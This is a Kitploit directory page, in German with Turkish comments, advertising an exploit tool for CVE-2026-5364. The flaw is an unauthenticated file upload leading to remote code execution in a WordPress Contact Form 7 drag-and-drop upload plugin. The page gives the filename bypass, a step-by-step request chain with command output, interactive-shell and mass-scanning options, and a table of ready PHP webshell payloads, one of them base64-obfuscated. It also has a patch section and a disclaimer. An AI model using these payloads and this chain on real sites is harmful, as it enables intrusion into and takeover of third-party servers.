Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-5364 — CVE-2026-5364 ist eine Schwachstelle (CVSS 8.1, High) für nicht authentifiziertes Hochladen beliebiger Dateien im Drag and Drop File Upload for Contact Form 7. | Kitploit
Tools/GitHubGitHub/xxconi/cve-2026-5364
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstestsPayload-Entwicklung
GitHubxxconi/cve-2026-5364

CVE-2026-5364

CVE-2026-5364 ist eine Schwachstelle (CVSS 8.1, High) für nicht authentifiziertes Hochladen beliebiger Dateien im Drag and Drop File Upload for Contact Form 7.

Repository anzeigen
vor 2 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-5364

CVE-2026-5364 ist eine nicht authentifizierte Schwachstelle für beliebige Datei-Uploads (CVSS 8.1, Hoch) im Plugin „Drag and Drop File Upload for Contact Form 7“.

CVE-2026-5364 — CF7 Drag & Drop File Upload RCE

Nicht authentifizierter beliebiger Datei-Upload durch Umgehung von sanitize_file_name() CVSS 8.1 (Hoch) | Betroffen: <= 1.1.3 | Behoben: 1.1.4


📋 Übersicht

FeldWert
CVE IDCVE-2026-5364
PluginDrag and Drop File Upload for Contact Form 7
Slugdrag-and-drop-file-upload-for-contact-form-7
CVSS8.1 (Hoch)
VektorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Betroffen<= 1.1.3
Behoben1.1.4
ForscherThomas Sanzey
Veröffentlichung23. April 2026

🔍 Schwachstellenübersicht

Das Plugin liest die Dateierweiterung vor der Bereinigung durch sanitize_file_name(). Ein Angreifer lädt eine Datei namens shell.php$ hoch:

root@kitploit:~
pathinfo('shell.php$', PATHINFO_EXTENSION)  →  'php$'   ← blacklist'i atlatır
sanitize_file_name('shell.php$')            →  'shell.php'  ← PHP olarak kaydedilir

Eine Kette aus drei unabhängigen Schwachstellen:

  1. Vom Angreifer kontrollierte Allowlist — Der POST-Parameter type wird vom Benutzer gelesen
  2. Erweiterung vor der Bereinigung — pathinfo() wird auf den rohen Dateinamen angewendet
  3. Späte Bereinigung — sanitize_file_name() innerhalb von wp_unique_filename() entfernt das Zeichen $

⚙️ Installation

root@kitploit:~
git clone https://github.com/example/CVE-2026-5364
cd CVE-2026-5364
pip install requests

Anforderungen

  • Python 3.8+
  • requests-Bibliothek
  • Ziel: WordPress + CF7 D&D Upload <= 1.1.3 + Seite mit CF7-Formular

🚀 Verwendung

Einzelnes Ziel

root@kitploit:~
# Temel exploit (id komutu)
python CVE-2026-5364.py -u https://target.com

# Özel komut
python CVE-2026-5364.py -u https://target.com -c "whoami"

# İnteraktif shell
python CVE-2026-5364.py -u https://target.com --interactive

# Farklı shell tipi
python CVE-2026-5364.py -u https://target.com --shell exec

# Verbose + proxy
python CVE-2026-5364.py -u https://target.com -v --proxy http://127.0.0.1:8080

Massen-Scan

root@kitploit:~
# 20 thread ile tarama
python CVE-2026-5364.py -l targets.txt -t 20 -o results.txt

# Yamalı sürümleri de dene
python CVE-2026-5364.py -l targets.txt --no-skip-patched -t 30

# Sonuçları dosyaya kaydet
python CVE-2026-5364.py -l targets.txt -o cf7_results.txt

Alle Parameter

root@kitploit:~
Hedef:
  -u, --url URL         Tek hedef URL
  -l, --list FILE       Hedef listesi (satır başı URL)

Exploit:
  -c, --cmd CMD         OS komutu (varsayılan: id)
  --shell TYPE          Webshell tipi: basic|exec|pass|eval|info
  -i, --interactive     İnteraktif shell aç
  --no-skip-patched     Yamalı sürümleri de dene

Tarama:
  -t, --threads N       Thread sayısı (varsayılan: 10)
  --timeout S           Timeout saniye (varsayılan: 15)
  --proxy URL           Proxy adresi

Çıktı:
  -o, --output FILE     Sonuç dosyası
  -v, --verbose         Ayrıntılı çıktı
  --no-color            Renksiz çıktı

🐚 Webshell-Typen


🔬 Technische Details

Exploit-Kette

root@kitploit:~
1. Nonce Tespiti
   └─ wp_localize_script() ile her ziyaretçiye açık
      GET /contact/ → HTML içinde "nonce":"abc123def4"

2. Shell Yükleme
   └─ POST /wp-admin/admin-ajax.php
      action=cf7_file_uploads
      nonce=abc123def4
      type=php$          ← blacklist'te yok
      file=shell.php$    ← sanitize_file_name() → shell.php

3. URL Alma
   └─ Response: {"status":"ok","text":"https://target.com/wp-content/
                 uploads/cf7-uploads-custom/6831a2f4b3c12.php"}

4. RCE
   └─ GET /wp-content/uploads/cf7-uploads-custom/6831a2f4b3c12.php?cmd=id
      uid=33(www-data) gid=33(www-data) groups=33(www-data)

Bypass-Zeichen

Zeichen, die von sanitize_file_name() entfernt werden:

root@kitploit:~
$  %  ~  `  (boşluk)

Das Tool testet automatisch alle Bypass-Zeichen.


🛡️ Mindernde Faktoren


🩹 Lösung

Aktualisieren Sie das Plugin auf 1.1.4 oder höher.

root@kitploit:~
# WP-CLI ile güncelleme
wp plugin update drag-and-drop-file-upload-for-contact-form-7

Code-Fix (1.1.4)

root@kitploit:~
// YANLIŞ (1.1.3)
$file_extension = pathinfo($file['name'], PATHINFO_EXTENSION);

// DOĞRU (1.1.4)
$clean_name     = sanitize_file_name($file['name']);
$file_extension = pathinfo($clean_name, PATHINFO_EXTENSION);

// type parametresi artık admin ayarından okunuyor
$type = $this->get_admin_allowed_types($form_id);  // POST'tan değil

⚠️ Rechtlicher Hinweis

Dieses Tool wurde ausschließlich für Sicherheitsforschung zu Bildungs- und Verteidigungszwecken entwickelt. Die Verwendung auf unbefugten Systemen ist verboten und kann rechtliche Konsequenzen haben. Verwenden Sie es nur auf Systemen, für die Sie eine Genehmigung haben.


📄 Referenzen

  • Wordfence Advisory
  • WordPress Plugin Page
  • NVD CVE-2026-5364
  • sanitize_file_name() Docs
Tool herunterladen
TypPayloadVerwendung
basic<?php system($_GET["cmd"]); ?>Allgemeiner Zweck
exec<?php echo shell_exec($_GET["cmd"]); ?>Vollständige Ausgabe
pass<?php passthru($_GET["cmd"]); ?>Binärausgabe
eval<?php @eval(base64_decode($_POST["x"])); ?>Verdeckt/WAF-Bypass
info<?php phpinfo(); ?>PHP-Information
FaktorAuswirkung
Apache .htaccess (Content-Disposition: attachment)Verhindert die PHP-Ausführung
Nginx / LiteSpeed.htaccess ungültig — RCE möglich
Zufälliger Dateiname (uniqid())Wirkungslos, da die AJAX-Antwort die URL zurückgibt
NonceCSRF-Schutz — keine Authentifizierung, wirkungslos